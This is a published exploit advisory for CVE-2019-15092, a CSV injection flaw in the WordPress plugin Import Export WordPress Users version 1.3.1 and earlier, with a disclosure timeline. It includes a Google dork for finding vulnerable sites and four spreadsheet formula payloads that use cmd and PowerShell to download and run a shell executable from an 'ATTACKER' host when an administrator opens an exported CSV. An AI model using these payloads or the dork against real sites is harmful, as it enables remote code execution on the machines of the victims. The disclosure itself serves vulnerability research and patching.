48 lines
No EOL
2.4 KiB
Text
48 lines
No EOL
2.4 KiB
Text
# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
|
|
# Exploit Author: Javier Olmedo
|
|
# Contact: @jjavierolmedo
|
|
# Website: https://sidertia.com
|
|
# Date: 2018-08-22
|
|
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
|
|
# Vendor: WebToffee
|
|
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
|
|
# Affected Version: 1.3.1 and before
|
|
# Active installations: +20,000
|
|
# Patched Version: update to 1.3.2 version
|
|
# Category: Web Application
|
|
# Platform: PHP
|
|
# Tested on: Win10x64
|
|
# CVE: 2019-15092
|
|
# References:
|
|
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
|
|
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787
|
|
|
|
# 1. Technical Description
|
|
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
|
|
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
|
|
# as part of the fields of his profile and these commands are executed when a user with greater privilege
|
|
# exports the data in CSV and opens that file on his machine.
|
|
|
|
# 2. Vulnerable code
|
|
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
|
|
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.
|
|
|
|
# 3. Proof Of Concept (PoC)
|
|
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
|
|
# 3.2 Login with a high privileges user and export all users to CSV.
|
|
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the
|
|
# generated file, the command is executed and the shell will run open on the machine.
|
|
|
|
# 4. Payloads
|
|
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
|
|
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
|
|
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
|
|
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
|
|
|
|
# 5. Timeline
|
|
# 15, august 2019 - [RESEARCHER] Discover
|
|
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
|
|
# 16, august 2019 - [DEVELOPER] More information request
|
|
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
|
|
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
|
|
# 22, august 2019 - [RESEARCHER] Public disclosure |